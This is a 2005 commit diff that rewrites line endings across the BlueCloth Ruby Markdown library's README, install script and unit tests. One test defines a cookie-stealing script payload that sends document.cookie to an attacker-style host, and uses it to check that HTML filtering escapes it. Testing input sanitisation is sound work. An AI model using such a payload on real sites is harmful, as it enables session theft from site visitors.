Massive change of SVN properties to deal with EOL style problem

This commit is contained in:
Alexey Verkhovsky 2005-01-24 18:52:04 +00:00
parent b747b611b3
commit 3b6566577c
108 changed files with 12417 additions and 12417 deletions

View file

@ -1,99 +1,99 @@
BlueCloth
=========
Version 1.0.0 - 2004/08/24
Original version by John Gruber <http://daringfireball.net/>.
Ruby port by Michael Granger <http://www.deveiate.org/>.
BlueCloth is a Ruby implementation of [Markdown][1], a text-to-HTML conversion
tool for web writers. To quote from the project page: Markdown allows you to
write using an easy-to-read, easy-to-write plain text format, then convert it to
structurally valid XHTML (or HTML).
It borrows a naming convention and several helpings of interface from
[Redcloth][2], [Why the Lucky Stiff][3]'s processor for a similar text-to-HTML
conversion syntax called [Textile][4].
Installation
------------
You can install this module either by running the included `install.rb` script,
or by simply copying `lib/bluecloth.rb` to a directory in your load path.
Dependencies
------------
BlueCloth uses the `StringScanner` class from the `strscan` library, which comes
with Ruby 1.8.x and later or may be downloaded from the RAA for earlier
versions, and the `logger` library, which is also included in 1.8.x and later.
Example Usage
-------------
The BlueCloth class is a subclass of Ruby's String, and can be used thusly:
bc = BlueCloth::new( str )
puts bc.to_html
This `README` file is an example of Markdown syntax. The sample program
`bluecloth` in the `bin/` directory can be used to convert this (or any other)
file with Markdown syntax into HTML:
$ bin/bluecloth README > README.html
Acknowledgements
----------------
This library is a port of the canonical Perl one, and so owes most of its
functionality to its author, John Gruber. The bugs in this code are most
certainly an artifact of my porting it and not an artifact of the excellent code
from which it is derived.
It also, as mentioned before, borrows its API liberally from RedCloth, both for
compatibility's sake, and because I think Why's code is beautiful. His excellent
code and peerless prose have been an inspiration to me, and this module is
intended as the sincerest flattery.
Also contributing to any success this module may enjoy are those among my peers
who have taken the time to help out, either by submitting patches, testing, or
offering suggestions and review:
* Martin Chase <stillflame@FaerieMUD.org>
* Florian Gross <flgr@ccan.de>
Author/Legal
------------
Original version:
Copyright (c) 2003-2004 John Gruber
<http://daringfireball.net/>
All rights reserved.
Ruby version:
Copyright (c) 2004 The FaerieMUD Consortium
BlueCloth is free software; you can redistribute it and/or modify it under the
terms of the GNU General Public License as published by the Free Software
Foundation; either version 2 of the License, or (at your option) any later
version.
BlueCloth is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE. See the GNU General Public License for more details.
[1]: http://daringfireball.net/projects/markdown/
[2]: http://www.whytheluckystiff.net/ruby/redcloth/
[3]: http://www.whytheluckystiff.net/
[4]: http://www.textism.com/tools/textile/
$Id: README,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
$URL: svn+ssh://svn.FaerieMUD.org/usr/local/svn/BlueCloth/trunk/README $
BlueCloth
=========
Version 1.0.0 - 2004/08/24
Original version by John Gruber <http://daringfireball.net/>.
Ruby port by Michael Granger <http://www.deveiate.org/>.
BlueCloth is a Ruby implementation of [Markdown][1], a text-to-HTML conversion
tool for web writers. To quote from the project page: Markdown allows you to
write using an easy-to-read, easy-to-write plain text format, then convert it to
structurally valid XHTML (or HTML).
It borrows a naming convention and several helpings of interface from
[Redcloth][2], [Why the Lucky Stiff][3]'s processor for a similar text-to-HTML
conversion syntax called [Textile][4].
Installation
------------
You can install this module either by running the included `install.rb` script,
or by simply copying `lib/bluecloth.rb` to a directory in your load path.
Dependencies
------------
BlueCloth uses the `StringScanner` class from the `strscan` library, which comes
with Ruby 1.8.x and later or may be downloaded from the RAA for earlier
versions, and the `logger` library, which is also included in 1.8.x and later.
Example Usage
-------------
The BlueCloth class is a subclass of Ruby's String, and can be used thusly:
bc = BlueCloth::new( str )
puts bc.to_html
This `README` file is an example of Markdown syntax. The sample program
`bluecloth` in the `bin/` directory can be used to convert this (or any other)
file with Markdown syntax into HTML:
$ bin/bluecloth README > README.html
Acknowledgements
----------------
This library is a port of the canonical Perl one, and so owes most of its
functionality to its author, John Gruber. The bugs in this code are most
certainly an artifact of my porting it and not an artifact of the excellent code
from which it is derived.
It also, as mentioned before, borrows its API liberally from RedCloth, both for
compatibility's sake, and because I think Why's code is beautiful. His excellent
code and peerless prose have been an inspiration to me, and this module is
intended as the sincerest flattery.
Also contributing to any success this module may enjoy are those among my peers
who have taken the time to help out, either by submitting patches, testing, or
offering suggestions and review:
* Martin Chase <stillflame@FaerieMUD.org>
* Florian Gross <flgr@ccan.de>
Author/Legal
------------
Original version:
Copyright (c) 2003-2004 John Gruber
<http://daringfireball.net/>
All rights reserved.
Ruby version:
Copyright (c) 2004 The FaerieMUD Consortium
BlueCloth is free software; you can redistribute it and/or modify it under the
terms of the GNU General Public License as published by the Free Software
Foundation; either version 2 of the License, or (at your option) any later
version.
BlueCloth is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE. See the GNU General Public License for more details.
[1]: http://daringfireball.net/projects/markdown/
[2]: http://www.whytheluckystiff.net/ruby/redcloth/
[3]: http://www.whytheluckystiff.net/
[4]: http://www.textism.com/tools/textile/
$Id: README,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
$URL: svn+ssh://svn.FaerieMUD.org/usr/local/svn/BlueCloth/trunk/README $

View file

@ -1,150 +1,150 @@
#!/usr/bin/ruby
#
# BlueCloth Module Install Script
# $Id: install.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
#
# Thanks to Masatoshi SEKI for ideas found in his install.rb.
#
# Copyright (c) 2001-2004 The FaerieMUD Consortium.
#
# This is free software. You may use, modify, and/or redistribute this
# software under the terms of the Perl Artistic License. (See
# http://language.perl.com/misc/Artistic.html)
#
require './utils.rb'
include UtilityFunctions
require 'rbconfig'
include Config
require 'find'
require 'ftools'
$version = %q$Revision: 1.1 $
$rcsId = %q$Id: install.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
# Define required libraries
RequiredLibraries = [
# libraryname, nice name, RAA URL, Download URL
[ 'strscan', "StrScan",
'http://raa.ruby-lang.org/list.rhtml?name=strscan',
'http://i.loveruby.net/archive/strscan/strscan-0.6.7.tar.gz' ],
[ 'logger', "Devel-Logger",
'http://raa.ruby-lang.org/list.rhtml?name=devel-logger',
'http://rrr.jin.gr.jp/download/devel-logger-1_2_2.tar.gz' ],
]
class Installer
@@PrunePatterns = [
/CVS/,
/~$/,
%r:(^|/)\.:,
/\.tpl$/,
]
def initialize( testing=false )
@ftools = (testing) ? self : File
end
### Make the specified dirs (which can be a String or an Array of Strings)
### with the specified mode.
def makedirs( dirs, mode=0755, verbose=false )
dirs = [ dirs ] unless dirs.is_a? Array
oldumask = File::umask
File::umask( 0777 - mode )
for dir in dirs
if @ftools == File
File::mkpath( dir, $verbose )
else
$stderr.puts "Make path %s with mode %o" % [ dir, mode ]
end
end
File::umask( oldumask )
end
def install( srcfile, dstfile, mode=nil, verbose=false )
dstfile = File.catname(srcfile, dstfile)
unless FileTest.exist? dstfile and File.cmp srcfile, dstfile
$stderr.puts " install #{srcfile} -> #{dstfile}"
else
$stderr.puts " skipping #{dstfile}: unchanged"
end
end
public
def installFiles( src, dstDir, mode=0444, verbose=false )
directories = []
files = []
if File.directory?( src )
Find.find( src ) {|f|
Find.prune if @@PrunePatterns.find {|pat| f =~ pat}
next if f == src
if FileTest.directory?( f )
directories << f.gsub( /^#{src}#{File::Separator}/, '' )
next
elsif FileTest.file?( f )
files << f.gsub( /^#{src}#{File::Separator}/, '' )
else
Find.prune
end
}
else
files << File.basename( src )
src = File.dirname( src )
end
dirs = [ dstDir ]
dirs |= directories.collect {|d| File.join(dstDir,d)}
makedirs( dirs, 0755, verbose )
files.each {|f|
srcfile = File.join(src,f)
dstfile = File.dirname(File.join( dstDir,f ))
if verbose
if mode
$stderr.puts "Install #{srcfile} -> #{dstfile} (mode %o)" % mode
else
$stderr.puts "Install #{srcfile} -> #{dstfile}"
end
end
@ftools.install( srcfile, dstfile, mode, verbose )
}
end
end
if $0 == __FILE__
header "BlueCloth Installer #$version"
for lib in RequiredLibraries
testForRequiredLibrary( *lib )
end
viewOnly = ARGV.include? '-n'
verbose = ARGV.include? '-v'
debugMsg "Sitelibdir = '#{CONFIG['sitelibdir']}'"
sitelibdir = CONFIG['sitelibdir']
debugMsg "Sitearchdir = '#{CONFIG['sitearchdir']}'"
sitearchdir = CONFIG['sitearchdir']
message "Installing\n"
i = Installer.new( viewOnly )
i.installFiles( "lib", sitelibdir, 0444, verbose )
end
#!/usr/bin/ruby
#
# BlueCloth Module Install Script
# $Id: install.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
#
# Thanks to Masatoshi SEKI for ideas found in his install.rb.
#
# Copyright (c) 2001-2004 The FaerieMUD Consortium.
#
# This is free software. You may use, modify, and/or redistribute this
# software under the terms of the Perl Artistic License. (See
# http://language.perl.com/misc/Artistic.html)
#
require './utils.rb'
include UtilityFunctions
require 'rbconfig'
include Config
require 'find'
require 'ftools'
$version = %q$Revision: 1.1 $
$rcsId = %q$Id: install.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
# Define required libraries
RequiredLibraries = [
# libraryname, nice name, RAA URL, Download URL
[ 'strscan', "StrScan",
'http://raa.ruby-lang.org/list.rhtml?name=strscan',
'http://i.loveruby.net/archive/strscan/strscan-0.6.7.tar.gz' ],
[ 'logger', "Devel-Logger",
'http://raa.ruby-lang.org/list.rhtml?name=devel-logger',
'http://rrr.jin.gr.jp/download/devel-logger-1_2_2.tar.gz' ],
]
class Installer
@@PrunePatterns = [
/CVS/,
/~$/,
%r:(^|/)\.:,
/\.tpl$/,
]
def initialize( testing=false )
@ftools = (testing) ? self : File
end
### Make the specified dirs (which can be a String or an Array of Strings)
### with the specified mode.
def makedirs( dirs, mode=0755, verbose=false )
dirs = [ dirs ] unless dirs.is_a? Array
oldumask = File::umask
File::umask( 0777 - mode )
for dir in dirs
if @ftools == File
File::mkpath( dir, $verbose )
else
$stderr.puts "Make path %s with mode %o" % [ dir, mode ]
end
end
File::umask( oldumask )
end
def install( srcfile, dstfile, mode=nil, verbose=false )
dstfile = File.catname(srcfile, dstfile)
unless FileTest.exist? dstfile and File.cmp srcfile, dstfile
$stderr.puts " install #{srcfile} -> #{dstfile}"
else
$stderr.puts " skipping #{dstfile}: unchanged"
end
end
public
def installFiles( src, dstDir, mode=0444, verbose=false )
directories = []
files = []
if File.directory?( src )
Find.find( src ) {|f|
Find.prune if @@PrunePatterns.find {|pat| f =~ pat}
next if f == src
if FileTest.directory?( f )
directories << f.gsub( /^#{src}#{File::Separator}/, '' )
next
elsif FileTest.file?( f )
files << f.gsub( /^#{src}#{File::Separator}/, '' )
else
Find.prune
end
}
else
files << File.basename( src )
src = File.dirname( src )
end
dirs = [ dstDir ]
dirs |= directories.collect {|d| File.join(dstDir,d)}
makedirs( dirs, 0755, verbose )
files.each {|f|
srcfile = File.join(src,f)
dstfile = File.dirname(File.join( dstDir,f ))
if verbose
if mode
$stderr.puts "Install #{srcfile} -> #{dstfile} (mode %o)" % mode
else
$stderr.puts "Install #{srcfile} -> #{dstfile}"
end
end
@ftools.install( srcfile, dstfile, mode, verbose )
}
end
end
if $0 == __FILE__
header "BlueCloth Installer #$version"
for lib in RequiredLibraries
testForRequiredLibrary( *lib )
end
viewOnly = ARGV.include? '-n'
verbose = ARGV.include? '-v'
debugMsg "Sitelibdir = '#{CONFIG['sitelibdir']}'"
sitelibdir = CONFIG['sitelibdir']
debugMsg "Sitearchdir = '#{CONFIG['sitearchdir']}'"
sitearchdir = CONFIG['sitearchdir']
message "Installing\n"
i = Installer.new( viewOnly )
i.installFiles( "lib", sitelibdir, 0444, verbose )
end

File diff suppressed because it is too large Load diff

View file

@ -1,117 +1,117 @@
#!/usr/bin/ruby
#
# Test suite for BlueCloth classes
# $Id: test.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
#
BEGIN {
$basedir = File::dirname( __FILE__ )
["lib", "tests", "redist"].each do |subdir|
$LOAD_PATH.unshift File::join( $basedir, subdir )
end
require "#{$basedir}/utils"
include UtilityFunctions
}
verboseOff {
require 'bctestcase'
require 'find'
require 'test/unit'
require 'test/unit/testsuite'
require 'test/unit/ui/console/testrunner'
require 'optparse'
}
# Turn off output buffering
$stderr.sync = $stdout.sync = true
$DebugPattern = nil
# Initialize variables
safelevel = 0
patterns = []
requires = []
# Parse command-line switches
ARGV.options {|oparser|
oparser.banner = "Usage: #$0 [options] [TARGETS]\n"
oparser.on( "--debug[=PATTERN]", "-d[=PATTERN]", String,
"Turn debugging on (for tests which match PATTERN)" ) {|arg|
if arg
$DebugPattern = Regexp::new( arg )
puts "Turned debugging on for %p." % $DebugPattern
else
$DEBUG = true
debugMsg "Turned debugging on globally."
end
}
oparser.on( "--verbose", "-v", TrueClass, "Make progress verbose" ) {
$VERBOSE = true
debugMsg "Turned verbose on."
}
# Handle the 'help' option
oparser.on( "--help", "-h", "Display this text." ) {
$stderr.puts oparser
exit!(0)
}
oparser.parse!
}
# Parse test patterns
ARGV.each {|pat| patterns << Regexp::new( pat, Regexp::IGNORECASE )}
$stderr.puts "#{patterns.length} patterns given on the command line"
### Load all the tests from the tests dir
Find.find("#{$basedir}/tests") {|file|
Find.prune if /\/\./ =~ file or /~$/ =~ file
Find.prune if /TEMPLATE/ =~ file
next if File.stat( file ).directory?
unless patterns.empty?
Find.prune unless patterns.find {|pat| pat =~ file}
end
debugMsg "Considering '%s': " % file
next unless file =~ /\.tests.rb$/
debugMsg "Requiring '%s'..." % file
require "#{file}"
requires << file
}
$stderr.puts "Required #{requires.length} files."
unless patterns.empty?
$stderr.puts "[" + requires.sort.join( ", " ) + "]"
end
# Build the test suite
class BlueClothTests
class << self
def suite
suite = Test::Unit::TestSuite.new( "BlueCloth" )
if suite.respond_to?( :add )
ObjectSpace.each_object( Class ) {|klass|
suite.add( klass.suite ) if klass < BlueCloth::TestCase
}
else
ObjectSpace.each_object( Class ) {|klass|
suite << klass.suite if klass < BlueCloth::TestCase
}
end
return suite
end
end
end
# Run tests
$SAFE = safelevel
Test::Unit::UI::Console::TestRunner.new( BlueClothTests ).start
#!/usr/bin/ruby
#
# Test suite for BlueCloth classes
# $Id: test.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
#
BEGIN {
$basedir = File::dirname( __FILE__ )
["lib", "tests", "redist"].each do |subdir|
$LOAD_PATH.unshift File::join( $basedir, subdir )
end
require "#{$basedir}/utils"
include UtilityFunctions
}
verboseOff {
require 'bctestcase'
require 'find'
require 'test/unit'
require 'test/unit/testsuite'
require 'test/unit/ui/console/testrunner'
require 'optparse'
}
# Turn off output buffering
$stderr.sync = $stdout.sync = true
$DebugPattern = nil
# Initialize variables
safelevel = 0
patterns = []
requires = []
# Parse command-line switches
ARGV.options {|oparser|
oparser.banner = "Usage: #$0 [options] [TARGETS]\n"
oparser.on( "--debug[=PATTERN]", "-d[=PATTERN]", String,
"Turn debugging on (for tests which match PATTERN)" ) {|arg|
if arg
$DebugPattern = Regexp::new( arg )
puts "Turned debugging on for %p." % $DebugPattern
else
$DEBUG = true
debugMsg "Turned debugging on globally."
end
}
oparser.on( "--verbose", "-v", TrueClass, "Make progress verbose" ) {
$VERBOSE = true
debugMsg "Turned verbose on."
}
# Handle the 'help' option
oparser.on( "--help", "-h", "Display this text." ) {
$stderr.puts oparser
exit!(0)
}
oparser.parse!
}
# Parse test patterns
ARGV.each {|pat| patterns << Regexp::new( pat, Regexp::IGNORECASE )}
$stderr.puts "#{patterns.length} patterns given on the command line"
### Load all the tests from the tests dir
Find.find("#{$basedir}/tests") {|file|
Find.prune if /\/\./ =~ file or /~$/ =~ file
Find.prune if /TEMPLATE/ =~ file
next if File.stat( file ).directory?
unless patterns.empty?
Find.prune unless patterns.find {|pat| pat =~ file}
end
debugMsg "Considering '%s': " % file
next unless file =~ /\.tests.rb$/
debugMsg "Requiring '%s'..." % file
require "#{file}"
requires << file
}
$stderr.puts "Required #{requires.length} files."
unless patterns.empty?
$stderr.puts "[" + requires.sort.join( ", " ) + "]"
end
# Build the test suite
class BlueClothTests
class << self
def suite
suite = Test::Unit::TestSuite.new( "BlueCloth" )
if suite.respond_to?( :add )
ObjectSpace.each_object( Class ) {|klass|
suite.add( klass.suite ) if klass < BlueCloth::TestCase
}
else
ObjectSpace.each_object( Class ) {|klass|
suite << klass.suite if klass < BlueCloth::TestCase
}
end
return suite
end
end
end
# Run tests
$SAFE = safelevel
Test::Unit::UI::Console::TestRunner.new( BlueClothTests ).start

View file

@ -1,71 +1,71 @@
#!/usr/bin/ruby
#
# Unit test for the BlueCloth class object
# $Id: 00_Class.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
#
# Copyright (c) 2004 The FaerieMUD Consortium.
#
if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
basedir = File::dirname( __FILE__ )
require File::join( basedir, 'bctestcase' )
end
### This test case tests ...
class BlueClothClassTestCase < BlueCloth::TestCase
TestString = "foo"
def test_00_class_constant
printTestHeader "BlueCloth: Class Constant"
assert Object::constants.include?( "BlueCloth" ),
"No BlueCloth constant in Object"
assert_instance_of Class, BlueCloth
end
def test_01_instantiation
printTestHeader "BlueCloth: Instantiation"
rval = nil
# With no argument... ("")
assert_nothing_raised {
rval = BlueCloth::new
}
assert_instance_of BlueCloth, rval
assert_kind_of String, rval
assert_equal "", rval
# String argument
assert_nothing_raised {
rval = BlueCloth::new TestString
}
assert_instance_of BlueCloth, rval
assert_kind_of String, rval
assert_equal TestString, rval
addSetupBlock {
debugMsg "Creating a new BlueCloth"
@obj = BlueCloth::new( TestString )
}
addTeardownBlock {
@obj = nil
}
end
def test_02_duplication
printTestHeader "BlueCloth: Duplication"
rval = nil
assert_nothing_raised {
rval = @obj.dup
}
assert_instance_of BlueCloth, rval
assert_kind_of String, rval
assert_equal TestString, rval
end
end
#!/usr/bin/ruby
#
# Unit test for the BlueCloth class object
# $Id: 00_Class.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
#
# Copyright (c) 2004 The FaerieMUD Consortium.
#
if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
basedir = File::dirname( __FILE__ )
require File::join( basedir, 'bctestcase' )
end
### This test case tests ...
class BlueClothClassTestCase < BlueCloth::TestCase
TestString = "foo"
def test_00_class_constant
printTestHeader "BlueCloth: Class Constant"
assert Object::constants.include?( "BlueCloth" ),
"No BlueCloth constant in Object"
assert_instance_of Class, BlueCloth
end
def test_01_instantiation
printTestHeader "BlueCloth: Instantiation"
rval = nil
# With no argument... ("")
assert_nothing_raised {
rval = BlueCloth::new
}
assert_instance_of BlueCloth, rval
assert_kind_of String, rval
assert_equal "", rval
# String argument
assert_nothing_raised {
rval = BlueCloth::new TestString
}
assert_instance_of BlueCloth, rval
assert_kind_of String, rval
assert_equal TestString, rval
addSetupBlock {
debugMsg "Creating a new BlueCloth"
@obj = BlueCloth::new( TestString )
}
addTeardownBlock {
@obj = nil
}
end
def test_02_duplication
printTestHeader "BlueCloth: Duplication"
rval = nil
assert_nothing_raised {
rval = @obj.dup
}
assert_instance_of BlueCloth, rval
assert_kind_of String, rval
assert_equal TestString, rval
end
end

File diff suppressed because it is too large Load diff

View file

@ -1,57 +1,57 @@
#!/usr/bin/ruby
#
# Unit test for bugs found in BlueCloth
# $Id: 10_Bug.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
#
# Copyright (c) 2004 The FaerieMUD Consortium.
#
if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
basedir = File::dirname( __FILE__ )
require File::join( basedir, 'bctestcase' )
end
require 'timeout'
### This test case tests ...
class BugsTestCase < BlueCloth::TestCase
BaseDir = File::dirname( File::dirname(File::expand_path( __FILE__ )) )
### Test to be sure the README file can be transformed.
def test_00_slow_block_regex
contents = File::read( File::join(BaseDir,"README") )
bcobj = BlueCloth::new( contents )
assert_nothing_raised {
timeout( 2 ) do
bcobj.to_html
end
}
end
### :TODO: Add more documents and test their transforms.
def test_10_regexp_engine_overflow_bug
contents = File::read( File::join(BaseDir,"tests/data/re-overflow.txt") )
bcobj = BlueCloth::new( contents )
assert_nothing_raised {
bcobj.to_html
}
end
def test_15_regexp_engine_overflow_bug2
contents = File::read( File::join(BaseDir,"tests/data/re-overflow2.txt") )
bcobj = BlueCloth::new( contents )
assert_nothing_raised {
bcobj.to_html
}
end
end
__END__
#!/usr/bin/ruby
#
# Unit test for bugs found in BlueCloth
# $Id: 10_Bug.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
#
# Copyright (c) 2004 The FaerieMUD Consortium.
#
if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
basedir = File::dirname( __FILE__ )
require File::join( basedir, 'bctestcase' )
end
require 'timeout'
### This test case tests ...
class BugsTestCase < BlueCloth::TestCase
BaseDir = File::dirname( File::dirname(File::expand_path( __FILE__ )) )
### Test to be sure the README file can be transformed.
def test_00_slow_block_regex
contents = File::read( File::join(BaseDir,"README") )
bcobj = BlueCloth::new( contents )
assert_nothing_raised {
timeout( 2 ) do
bcobj.to_html
end
}
end
### :TODO: Add more documents and test their transforms.
def test_10_regexp_engine_overflow_bug
contents = File::read( File::join(BaseDir,"tests/data/re-overflow.txt") )
bcobj = BlueCloth::new( contents )
assert_nothing_raised {
bcobj.to_html
}
end
def test_15_regexp_engine_overflow_bug2
contents = File::read( File::join(BaseDir,"tests/data/re-overflow2.txt") )
bcobj = BlueCloth::new( contents )
assert_nothing_raised {
bcobj.to_html
}
end
end
__END__

View file

@ -1,132 +1,132 @@
#!/usr/bin/ruby
#
# Unit test for contributed features
# $Id: 15_Contrib.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
#
# Copyright (c) 2004 The FaerieMUD Consortium.
#
if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
basedir = File::dirname( __FILE__ )
require File::join( basedir, 'bctestcase' )
end
### This test case tests ...
class ContribTestCase < BlueCloth::TestCase
DangerousHtml =
"<script>document.location='http://www.hacktehplanet.com" +
"/cgi-bin/cookie.cgi?' + document.cookie</script>"
DangerousHtmlOutput =
"<p>&lt;script&gt;document.location='http://www.hacktehplanet.com" +
"/cgi-bin/cookie.cgi?' + document.cookie&lt;/script&gt;</p>"
DangerousStylesOutput =
"<script>document.location='http://www.hacktehplanet.com" +
"/cgi-bin/cookie.cgi?' + document.cookie</script>"
NoLessThanHtml = "Foo is definitely > than bar"
NoLessThanOutput = "<p>Foo is definitely &gt; than bar</p>"
### HTML filter options contributed by Florian Gross.
### Test the :filter_html restriction
def test_10_filter_html
printTestHeader "filter_html Option"
rval = bc = nil
# Test as a 1st-level param
assert_nothing_raised {
bc = BlueCloth::new( DangerousHtml, :filter_html )
}
assert_instance_of BlueCloth, bc
# Accessors
assert_nothing_raised { rval = bc.filter_html }
assert_equal true, rval
assert_nothing_raised { rval = bc.filter_styles }
assert_equal nil, rval
# Test rendering with filters on
assert_nothing_raised { rval = bc.to_html }
assert_equal DangerousHtmlOutput, rval
# Test setting it in a sub-array
assert_nothing_raised {
bc = BlueCloth::new( DangerousHtml, [:filter_html] )
}
assert_instance_of BlueCloth, bc
# Accessors
assert_nothing_raised { rval = bc.filter_html }
assert_equal true, rval
assert_nothing_raised { rval = bc.filter_styles }
assert_equal nil, rval
# Test rendering with filters on
assert_nothing_raised { rval = bc.to_html }
assert_equal DangerousHtmlOutput, rval
end
### Test the :filter_styles restriction
def test_20_filter_styles
printTestHeader "filter_styles Option"
rval = bc = nil
# Test as a 1st-level param
assert_nothing_raised {
bc = BlueCloth::new( DangerousHtml, :filter_styles )
}
assert_instance_of BlueCloth, bc
# Accessors
assert_nothing_raised { rval = bc.filter_styles }
assert_equal true, rval
assert_nothing_raised { rval = bc.filter_html }
assert_equal nil, rval
# Test rendering with filters on
assert_nothing_raised { rval = bc.to_html }
assert_equal DangerousStylesOutput, rval
# Test setting it in a subarray
assert_nothing_raised {
bc = BlueCloth::new( DangerousHtml, [:filter_styles] )
}
assert_instance_of BlueCloth, bc
# Accessors
assert_nothing_raised { rval = bc.filter_styles }
assert_equal true, rval
assert_nothing_raised { rval = bc.filter_html }
assert_equal nil, rval
# Test rendering with filters on
assert_nothing_raised { rval = bc.to_html }
assert_equal DangerousStylesOutput, rval
end
### Test to be sure filtering when there's no opening angle brackets doesn't
### die.
def test_30_filter_no_less_than
printTestHeader "filter without a less-than"
rval = bc = nil
# Test as a 1st-level param
assert_nothing_raised {
bc = BlueCloth::new( NoLessThanHtml, :filter_html )
}
assert_instance_of BlueCloth, bc
assert_nothing_raised { rval = bc.to_html }
assert_equal NoLessThanOutput, rval
end
end
#!/usr/bin/ruby
#
# Unit test for contributed features
# $Id: 15_Contrib.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
#
# Copyright (c) 2004 The FaerieMUD Consortium.
#
if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
basedir = File::dirname( __FILE__ )
require File::join( basedir, 'bctestcase' )
end
### This test case tests ...
class ContribTestCase < BlueCloth::TestCase
DangerousHtml =
"<script>document.location='http://www.hacktehplanet.com" +
"/cgi-bin/cookie.cgi?' + document.cookie</script>"
DangerousHtmlOutput =
"<p>&lt;script&gt;document.location='http://www.hacktehplanet.com" +
"/cgi-bin/cookie.cgi?' + document.cookie&lt;/script&gt;</p>"
DangerousStylesOutput =
"<script>document.location='http://www.hacktehplanet.com" +
"/cgi-bin/cookie.cgi?' + document.cookie</script>"
NoLessThanHtml = "Foo is definitely > than bar"
NoLessThanOutput = "<p>Foo is definitely &gt; than bar</p>"
### HTML filter options contributed by Florian Gross.
### Test the :filter_html restriction
def test_10_filter_html
printTestHeader "filter_html Option"
rval = bc = nil
# Test as a 1st-level param
assert_nothing_raised {
bc = BlueCloth::new( DangerousHtml, :filter_html )
}
assert_instance_of BlueCloth, bc
# Accessors
assert_nothing_raised { rval = bc.filter_html }
assert_equal true, rval
assert_nothing_raised { rval = bc.filter_styles }
assert_equal nil, rval
# Test rendering with filters on
assert_nothing_raised { rval = bc.to_html }
assert_equal DangerousHtmlOutput, rval
# Test setting it in a sub-array
assert_nothing_raised {
bc = BlueCloth::new( DangerousHtml, [:filter_html] )
}
assert_instance_of BlueCloth, bc
# Accessors
assert_nothing_raised { rval = bc.filter_html }
assert_equal true, rval
assert_nothing_raised { rval = bc.filter_styles }
assert_equal nil, rval
# Test rendering with filters on
assert_nothing_raised { rval = bc.to_html }
assert_equal DangerousHtmlOutput, rval
end
### Test the :filter_styles restriction
def test_20_filter_styles
printTestHeader "filter_styles Option"
rval = bc = nil
# Test as a 1st-level param
assert_nothing_raised {
bc = BlueCloth::new( DangerousHtml, :filter_styles )
}
assert_instance_of BlueCloth, bc
# Accessors
assert_nothing_raised { rval = bc.filter_styles }
assert_equal true, rval
assert_nothing_raised { rval = bc.filter_html }
assert_equal nil, rval
# Test rendering with filters on
assert_nothing_raised { rval = bc.to_html }
assert_equal DangerousStylesOutput, rval
# Test setting it in a subarray
assert_nothing_raised {
bc = BlueCloth::new( DangerousHtml, [:filter_styles] )
}
assert_instance_of BlueCloth, bc
# Accessors
assert_nothing_raised { rval = bc.filter_styles }
assert_equal true, rval
assert_nothing_raised { rval = bc.filter_html }
assert_equal nil, rval
# Test rendering with filters on
assert_nothing_raised { rval = bc.to_html }
assert_equal DangerousStylesOutput, rval
end
### Test to be sure filtering when there's no opening angle brackets doesn't
### die.
def test_30_filter_no_less_than
printTestHeader "filter without a less-than"
rval = bc = nil
# Test as a 1st-level param
assert_nothing_raised {
bc = BlueCloth::new( NoLessThanHtml, :filter_html )
}
assert_instance_of BlueCloth, bc
assert_nothing_raised { rval = bc.to_html }
assert_equal NoLessThanOutput, rval
end
end

View file

@ -1,274 +1,274 @@
#!/usr/bin/ruby
#
# This is an abstract test case class for building Test::Unit unit tests for the
# BlueCloth module. It consolidates most of the maintenance work that must be
# done to build a test file by adjusting the $LOAD_PATH appropriately, as well
# as adding some other useful methods that make building, maintaining, and using
# the tests for programming much easier (IMHO). See the docs for Test::Unit for
# more info on the particulars of unit testing.
#
# == Synopsis
#
# # Allow the test to be run from anywhere:
# if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
# basedir = File::dirname( __FILE__ )
# require File::join( basedir, 'bctestcase' )
# end
#
# class MySomethingTest < BlueCloth::TestCase
# def setup
# super()
# @foo = 'bar'
# end
#
# def test_00_something
# obj = nil
# assert_nothing_raised { obj = MySomething::new }
# assert_instance_of MySomething, obj
# assert_respond_to :myMethod, obj
# end
#
# end
#
# == Rcsid
#
# $Id: bctestcase.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
#
# == Authors
#
# * Michael Granger <ged@FaerieMUD.org>
#
#:include: COPYRIGHT
#
#---
#
# Please see the file COPYRIGHT in the 'docs' directory for licensing details.
#
$DebugPattern ||= nil
begin
basedir = File::dirname( File::dirname(__FILE__) )
unless $LOAD_PATH.include?( "#{basedir}/lib" )
$LOAD_PATH.unshift "#{basedir}/lib"
end
end
require "test/unit"
require "bluecloth"
class BlueCloth
### The abstract base class for BlueCloth test cases.
class TestCase < Test::Unit::TestCase
@methodCounter = 0
@setupBlocks = []
@teardownBlocks = []
class << self
attr_accessor :methodCounter, :setupBlocks, :teardownBlocks
end
### Inheritance callback -- adds @setupBlocks and @teardownBlocks ivars
### and accessors to the inheriting class.
def self::inherited( klass )
klass.module_eval {
@setupBlocks = []
@teardownBlocks = []
class << self
attr_accessor :setupBlocks, :teardownBlocks
end
}
klass.methodCounter = 0
end
### Output the specified <tt>msgs</tt> joined together to
### <tt>STDERR</tt> if <tt>$DEBUG</tt> is set.
def self::debugMsg( *msgs )
return unless $DEBUG
